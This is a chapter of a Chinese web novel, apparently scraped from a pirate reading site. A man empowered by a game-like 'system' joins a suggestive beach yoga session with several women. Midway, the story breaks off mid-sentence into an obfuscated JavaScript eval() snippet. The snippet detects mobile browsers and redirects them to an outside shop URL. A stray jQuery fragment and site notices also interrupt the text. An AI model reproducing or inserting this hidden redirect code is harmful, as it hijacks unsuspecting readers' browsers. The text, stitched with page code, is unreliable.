第151章 海岛瑜伽
    【每日1亿美元已到账】

    【目前余额:23亿美元】

    【自由属性点:55】

    【监测到已有伴侣健康值达到100,开启新面板】

    【伴侣:埃莉诺】

    【健康值:100(无病无灾,第二阶段基因修复待开启)】

    【忠诚度:100(已恒定)】

    林栋早晨醒来时并没有立刻睁开眼睛,而是被系统的提示所吸引。

    埃莉诺的健康值竟然在基因修复完成后达到了100,还开启了系统的新功能。

    他好奇地打开新面板。

    【后代:无】

    【注1:只有健康值达到100的伴侣才能怀上宿主的后代,每次需消耗1点属性点】

    【注2:如宿主进入第二极限,则每次需消耗5点属性点。】

    难怪林栋一直没有采取什么防护措施,他的女人们也都没有怀孕。

    这新开启的系统面板,正好印证了他内心的猜想。

    而埃莉诺面板上所谓的第二阶段基因修复,估计要等他破限以后才能开启了。

    本就不富裕的属性点,在开启新面板后更是雪上加霜。

    无需多想,消耗5点属性点怀上的孩子,基因肯定比只消耗1点属性点的强得多。

    再苦不能苦孩子,还是等进入第二极限再生吧。

    早晨,阳光透过窗帘的缝隙悄悄洒进房间,六个妙曼的身影还在熟睡。

    林栋轻手轻脚地起身,生怕打扰了她们的美梦。

    他走到餐厅,简单地冲了一碗脱脂牛奶麦片。

    三两口解决了早餐,林栋看着别墅内各处的战斗痕迹,摇了摇头,决定去海滩边散散步,享受一下早晨的宁静。

    漫步来到海滩,他发现了一片精心布置的日升瑜伽区。

    一排排瑜伽垫整齐地铺在柔软的沙滩上,周围环绕着高大的棕榈树,桌上摆放着新鲜的热带水果和矿泉水,整个环境宁静而舒适。

    “早安,大家!”

    林栋看到王雅丽、小林美智子、伊藤奈奈美等人已经开始了她们的瑜伽练习,阳光下她们的身姿优美,汗珠在肌肤上闪烁,仿佛珍珠一般。

    “早安,林总!”众女齐声娇滴滴地回应。

    作为瑜伽教练的阿依莎脸上带着友善的微笑。

    “林先生,要加入我们今天的瑜伽课程吗?”

    “听起来不错,我试试。”

    林栋找到一张空着的瑜伽垫,准备加入她们的练习。

    “林总,真没想到你也会来参加瑜伽课程,”王雅丽笑着说道,“我很遗憾没能参加昨晚的泳池派对。”

    “没事,雅丽,谢谢你去照顾苏珊了,我早上就是随便走走,平时也不怎么练瑜伽,重在参与嘛。”

    “那等会儿我可要好好‘辅导’一下林总了!”

    “奈奈美,你觉得我今天的动作能不能超过雅丽?”

    伊藤奈奈美咯咯一笑。

    “林总,你还是别跟雅丽比了,毕竟她练瑜伽比我们久多了。”

    阿依莎等林栋就绪后,开始继续引导大家进行深呼吸练习。

    海风轻拂,沙滩上的每個人都能感受到清新的气息。

    各自闭上眼睛,专注于自己的呼吸。

    本站域名已经更换为 。请牢记。 “深呼吸,感受每一口气息的流动,体会大自然的宁静。”

    阿依莎的声音如同一股温暖的春风,抚慰着大家的心灵。

    经过一段时间的深呼吸,众人逐渐进入状态。

    阿依莎带领大家做了一些简单的伸展动作,逐渐过渡到更复杂的瑜伽体式。

    “现在,我们来做‘下犬式’,双手双脚撑地,臀部向上抬起,形成一个倒V字形。”阿依莎指导道。

    王雅丽作为瑜伽大师,自然而然地做着下犬式的变体动作。

    她向林栋这边侧身时,突然哈哈大笑。

    “林总,你这动作做得有点搞笑啊,看起来像只受惊的小狗!”

    林栋憋着笑,“我这是在努力模仿标准动作!”

    虽然他的身体强度已经达到第一极限,但肌肉还没有完全适应现代瑜伽的动作,自然会有些出入。

    随着课程的进行,林栋逐渐掌握了这些动作,甚至能完美完成所有的变体动作。

    “林先生,你的身体素质真棒,平衡性也很强!下一个动作,战士第一式!”阿依莎夸奖道。

    这个动作对众人来说没有什么难度。

    “战士雅丽,勇往直前!”

    王雅丽还故意摆出夸张的姿势,引得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14190289|150732||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    林栋不由地笑出声来。

    身体晃了好几下才恢复正常。

    小林美智子则在一旁认真地做着动作,真正进入了瑜伽的静心状态。

    最后收尾的体式是‘鸽子式’。

    “现在,我们来做‘鸽子式’。放松身体坐直于地面,深呼吸。将两脚弯曲,往右边方向伸展,平放在地上,并且是两膝左右成一直线。左臂弯勾住左脚背,左手伸往背后,绕过脖子,并将左、右手在背后相握,停留约数十秒,做一次深呼吸。”

    林栋毫不费力地跟随阿依莎完成了这个动作。

    身体的柔韧性让众女惊叹不已。

    “林总,没想到你的韧带这么好,看来你平时下了不少功夫。”伊藤奈奈美惊讶地说道。

    “是啊,这个动作可不容易。”阿依莎也赞许地说道。

    “我身体倍棒,干啥都强!”

    在系统的加持下,林栋的身体是全方位的加强,没有短板。

    课程结束时,众人坐在沙滩上,做了最后的放松练习。

    阿依莎引导大家仰躺在垫子上,放松全身,享受海风的抚摸。

    “今天的瑜伽课程到这里就结束了,希望大家能带着平静和愉悦的心情继续你们的假期。”

    阿依莎说完,就在霞的警告下,先行撤退。

    林栋仰躺着放松的时候,王雅丽悄悄靠近他。

    “林总,没想到你练瑜伽都这么有天赋,但这个体式你肯定不会!”

    王雅丽说着,就展示出一个难度极高的定海神针式,让林栋不由地瞠目结舌。

    “这...我确实不会!”

    小林美智子见状,也走了过来。

    摆出练蜜桃臀的蛙式。

    “林总,看看我这个体式~”

    伊藤奈奈美怎么会让美智子专美于前,立刻用手支撑孔雀式转移林栋的目光。

    “林总~我也有很多绝招呢!”

    在无人的沙滩上,林栋携九名空乘团队成员与王雅丽,共同演绎了一场精彩纷呈的瑜伽对决。

    原本万里无云的马尔代夫天空,此刻却有一朵孤云飘来,恰巧遮住了耀眼的太阳。

    柔和的浪花轻拍着沙滩,声响从轻柔逐渐变得强劲.....

    本站域名已经更换为 。请牢记。